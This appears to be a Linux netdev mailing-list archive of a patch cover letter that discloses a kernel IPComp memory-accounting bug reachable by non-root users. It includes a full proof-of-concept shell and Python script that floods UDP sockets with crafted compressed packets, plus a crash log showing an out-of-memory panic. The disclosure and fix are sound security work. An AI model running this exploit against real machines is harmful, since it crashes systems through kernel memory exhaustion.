Netdev List
 help / color / mirror / Atom feed
From: Zhiling Zou <zhilinz@nebusec.ai>
To: netdev@vger.kernel.org
Cc: steffen.klassert@secunet.com, herbert@gondor.apana.org.au,
	davem@davemloft.net, edumazet@kernel.org, pabeni@redhat.com,
	horms@kernel.org, vega@nebusec.ai, zhilinz@nebusec.ai
Subject: [PATCH net 0/1] xfrm: ipcomp: account full fragment pages in truesize
Date: Fri, 23 Oct 2026 02:32:16 +0800	[thread overview]
Message-ID: <cover.1792692779.git.zhilinz@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated an issue in net/xfrm/xfrm_ipcomp.c. The bug is
reachable by a non-root user via user and network namespaces.

This bug is tracked at: https://bugtracker.nebusec.ai/f/13830

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ipcomp_post_acomp() attaches freshly allocated order-0 pages to the
reassembled skb but, on input, increases skb->truesize only by the
decompressed byte count. When the output ends partway through the final
page, the unused tail of that page remains allocated but is absent from
the socket receive-memory charge. Repeated IPComp packets queued to
sockets can therefore retain more kernel memory than the configured
receive-memory limits account for.

Round the input truesize charge up to the page size, matching the pages
attached to the skb. Output-side accounting remains unchanged.

Reproducer:

    unshare -Urn ./poc.sh observe
    NSOCK=100 NPKT=6 ./poc.sh crash

The observe mode sends a raw IPComp packet through an inbound XFRM state.
The crash mode sets vm.panic_on_oom=2 and sends compressed payloads to UDP
sockets to exercise the memory-accounting discrepancy. The script
requires iproute2, Python 3, XFRM/IPComp, and the deflate crypto
implementation. We run the PoC in a 2 vCPU, 512 MB RAM x86 QEMU
environment.

------BEGIN poc.sh------

    #!/bin/bash
    set -euo pipefail

    MODE="${1:-observe}"
    NSOCK="${NSOCK:-100}"
    NPKT="${NPKT:-6}"
    PAYLOAD_LEN="${PAYLOAD_LEN:-53585}"
    BASE_PORT="${BASE_PORT:-20000}"
    SRC_IP="${SRC_IP:-10.0.1.1}"
    DST_IP="${DST_IP:-10.0.1.2}"
    VETH_A="${VETH_A:-ipcomp0}"
    VETH_B="${VETH_B:-ipcomp1}"
    STATE_SPI="${STATE_SPI:-0x100}"

    cleanup() {
    	ip link del "$VETH_A" 2>/dev/null || true
    	rm -f /tmp/ipcomp_recv.log /tmp/ipcomp_sender.py
    }
    trap cleanup EXIT

    setup_net() {
    	ip link del "$VETH_A" 2>/dev/null || true
    	ip link add "$VETH_A" type veth peer name "$VETH_B"
    	ip addr add "$SRC_IP/24" dev "$VETH_A"
    	ip addr add "$DST_IP/24" dev "$VETH_B"
    	ip link set lo up
    	ip link set "$VETH_A" up
    	ip link set "$VETH_B" up

    	ip xfrm state add src "$SRC_IP" dst "$DST_IP" proto comp spi "$STATE_SPI" mode transport comp deflate
    	ip xfrm policy add dir in src "$SRC_IP/32" dst "$DST_IP/32" \
    		tmpl src "$SRC_IP" dst "$DST_IP" proto comp mode transport
    }

    write_sender() {
    	cat >/tmp/ipcomp_sender.py <<'PY'
    import os
    import socket
    import struct
    import time
    import zlib

    SRC = os.environ["SRC_IP"]
    DST = os.environ["DST_IP"]
    BASE_PORT = int(os.environ["BASE_PORT"])
    NSOCK = int(os.environ["NSOCK"])
    NPKT = int(os.environ["NPKT"])
    PAYLOAD_LEN = int(os.environ["PAYLOAD_LEN"])
    SPI = int(os.environ["STATE_SPI"], 0)
    SPORT = 12345
    PAYLOAD = b"Z" * PAYLOAD_LEN


    def checksum(data):
        if len(data) & 1:
            data += b"\0"
        words = struct.unpack("!%dH" % (len(data) // 2), data)
        total = sum(words)
        while total >> 16:
            total = (total & 0xFFFF) + (total >> 16)
        return (~total) & 0xFFFF


    def build_packet(dport):
        udp_len = 8 + len(PAYLOAD)
        udp = struct.pack("!HHHH", SPORT, dport, udp_len, 0) + PAYLOAD
        comp = zlib.compressobj(level=9, wbits=-zlib.MAX_WBITS)
        compressed = comp.compress(udp) + comp.flush()
        ipcomp = struct.pack("!BBH", socket.IPPROTO_UDP, 0, SPI) + compressed

        total_len = 20 + len(ipcomp)
        iphdr = struct.pack(
            "!BBHHHBBH4s4s",
            0x45,
            0,
            total_len,
            dport & 0xFFFF,
            0,
            64,
            108,
            0,
            socket.inet_aton(SRC),
            socket.inet_aton(DST),
        )
        iphdr = iphdr[:10] + struct.pack("!H", checksum(iphdr)) + iphdr[12:]
        return iphdr + ipcomp


    if os.environ.get("ROLE") == "recv":
        sockets = []
        for i in range(NSOCK):
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 262144)
            s.bind((DST, BASE_PORT + i))
            sockets.append(s)
        print(f"ready sockets={len(sockets)}", flush=True)
        if NSOCK == 1 and NPKT == 1:
            data, addr = sockets[0].recvfrom(70000)
            print(f"received len={len(data)} from={addr[0]}:{addr[1]}", flush=True)
        else:
            time.sleep(600)
    else:
        pkts = [build_packet(BASE_PORT + i) for i in range(NSOCK)]
        rs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        rs.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        sent = 0
        for _ in range(NPKT):
            for pkt in pkts:
                rs.sendto(pkt, (DST, 0))
                sent += 1
        print(f"sent packets={sent}", flush=True)
    PY
    }

    observe_once() {
    	python3 - <<'PY'
    import os
    import subprocess
    import tempfile

    trace = r"""
    kprobe:ipcomp_input
    {
      @skb[tid] = arg1;
      @ts[tid] = ((struct sk_buff *)arg1)->truesize;
      @pages[tid] = 0;
    }

    kprobe:__alloc_pages_noprof /@skb[tid]/
    {
      @pages[tid] = @pages[tid] + 1;
    }

    kretprobe:ipcomp_input /@skb[tid]/
    {
      $skb = (struct sk_buff *)@skb[tid];
      $delta = $skb->truesize - @ts[tid];
      printf("pages=%d delta=%d under=%d final_len=%d data_len=%d\n",
             @pages[tid], $delta, (@pages[tid] * 4096) - $delta,
             $skb->len, $skb->data_len);
      delete(@skb[tid]);
      delete(@ts[tid]);
      delete(@pages[tid]);
    }
    """
    with tempfile.NamedTemporaryFile("w", delete=False) as f:
        f.write(trace)
        path = f.name
    proc = subprocess.Popen(["bpftrace", path], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True)
    print(proc.pid)
    PY
    }

    do_observe() {
    	export NSOCK=1 NPKT=1
    	setup_net
    	write_sender

    	if command -v bpftrace >/dev/null 2>&1; then
    		BTPID="$(observe_once | tail -n1)"
    		sleep 2
    	fi

    	env ROLE=recv NSOCK=1 NPKT=1 SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" \
    		PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py >/tmp/ipcomp_recv.log 2>&1 &
    	RECV_PID=$!
    	sleep 1
    	env SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" NSOCK=1 NPKT=1 \
    		PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py
    	wait "$RECV_PID"
    	cat /tmp/ipcomp_recv.log

    	if [ -n "${BTPID:-}" ]; then
    		sleep 2
    		kill "$BTPID" 2>/dev/null || true
    	fi
    }

    do_crash() {
    	if [ "$(id -u)" -ne 0 ]; then
    		echo "crash mode needs real root to set global panic sysctls" >&2
    		exit 1
    	fi

    	echo 0 >/proc/sys/kernel/panic_on_warn
    	echo 2 >/proc/sys/vm/panic_on_oom

    	setup_net
    	write_sender

    	env ROLE=recv NSOCK="$NSOCK" NPKT="$NPKT" SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" \
    		PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py >/tmp/ipcomp_recv.log 2>&1 &
    	sleep 2
    	cat /tmp/ipcomp_recv.log
    	env SRC_IP="$SRC_IP" DST_IP="$DST_IP" BASE_PORT="$BASE_PORT" NSOCK="$NSOCK" NPKT="$NPKT" \
    		PAYLOAD_LEN="$PAYLOAD_LEN" STATE_SPI="$STATE_SPI" python3 /tmp/ipcomp_sender.py
    }

    case "$MODE" in
    observe)
    	do_observe
    	;;
    crash)
    	do_crash
    	;;
    *)
    	echo "usage: $0 [observe|crash]" >&2
    	exit 1
    	;;
    esac

------END poc.sh--------

----BEGIN crash log----

[  122.352180] python3: page allocation failure: order:0, mode:0x820(GFP_ATOMIC), nodemask=(null),cpuset=/,mems_allowed=0
[  122.353453] CPU: 0 UID: 0 PID: 926 Comm: python3 Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  122.353462] Call Trace:
[  122.353471]  <IRQ>
[  122.353501]  warn_alloc+0x24b/0x390
[  122.353597]  __alloc_pages_slowpath.constprop.0+0x15d8/0x2800
[  122.353711]  __alloc_pages_noprof+0x54b/0x760
[  122.353752]  alloc_pages_mpol_noprof+0x1b1/0x430
[  122.353827]  ipcomp_input+0x4d6/0xc80
[  122.353869]  xfrm_input+0x254f/0x6f50
[  122.353946]  xfrm4_ipcomp_rcv+0x7f/0xe0
[  122.353958]  ip_protocol_deliver_rcu+0x280/0x310
[  122.353975]  ip_local_deliver_finish+0x2c7/0x3d0
[  122.353984]  ip_local_deliver+0x2a7/0x300
[  122.354038]  ip_rcv+0x393/0x440
[  122.354129]  __netif_receive_skb_one_core+0x168/0x1b0
[  122.354171]  process_backlog+0x33c/0xf00
[  122.354199]  net_rx_action+0x4d4/0xc70
[  122.354285]  handle_softirqs+0x282/0x7d0
[  122.354323]  __local_bh_enable_ip+0x79/0x80
[  122.354326]  __dev_queue_xmit+0xc0a/0x31d0
[  122.354497]  ip_finish_output2+0x9b1/0x19f0
[  122.354535]  ip_output+0x1b1/0x430
[  122.354580]  raw_sendmsg+0x258b/0x2c50
[  122.354735]  __sys_sendto+0x361/0x3f0
[  122.354811]  __x64_sys_sendto+0xe0/0x1c0
[  122.354826]  do_syscall_64+0x6f/0x150
[  122.354839]  entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  122.354895]  </TASK>
[  123.097901] rasdaemon invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=1, oom_score_adj=0
[  123.098667] CPU: 3 UID: 0 PID: 502 Comm: rasdaemon Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  123.098676] Call Trace:
[  123.098680]  <TASK>
[  123.098694]  dump_header+0xf5/0x650
[  123.098720]  out_of_memory+0x737/0x1360
[  123.098779]  __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800
[  123.098856]  __alloc_pages_noprof+0x54b/0x760
[  123.098921]  alloc_pages_mpol_noprof+0x1b1/0x430
[  123.098952]  allocate_slab+0x3ae/0x550
[  123.098965]  ___slab_alloc+0xdcb/0x1620
[  123.099019]  kmem_cache_alloc_noprof+0x2b9/0x3e0
[  123.099050]  user_path_at+0x21/0x50
[  123.099058]  do_faccessat+0x2c4/0x8c0
[  123.099108]  do_syscall_64+0x6f/0x150
[  123.099123]  entry_SYSCALL_64_after_hwframe+0x76/0x7e

# The serial console returned to a fresh boot (`[    0.000000] Linux version 6.12.95 ...`)
# immediately after the OOM-path output above. The guest had `vm.panic_on_oom=2` set.

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  xfrm: ipcomp: account full fragment pages in truesize

 net/xfrm/xfrm_ipcomp.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)


             reply	other threads:[~2026-10-22 18:32 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-22 18:32 Zhiling Zou [this message]
2026-10-22 18:32 ` [PATCH net 1/1] xfrm: ipcomp: account full fragment pages in truesize Zhiling Zou

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1792692779.git.zhilinz@nebusec.ai \
    --to=zhilinz@nebusec.ai \
    --cc=davem@davemloft.net \
    --cc=edumazet@kernel.org \
    --cc=herbert@gondor.apana.org.au \
    --cc=horms@kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=pabeni@redhat.com \
    --cc=steffen.klassert@secunet.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox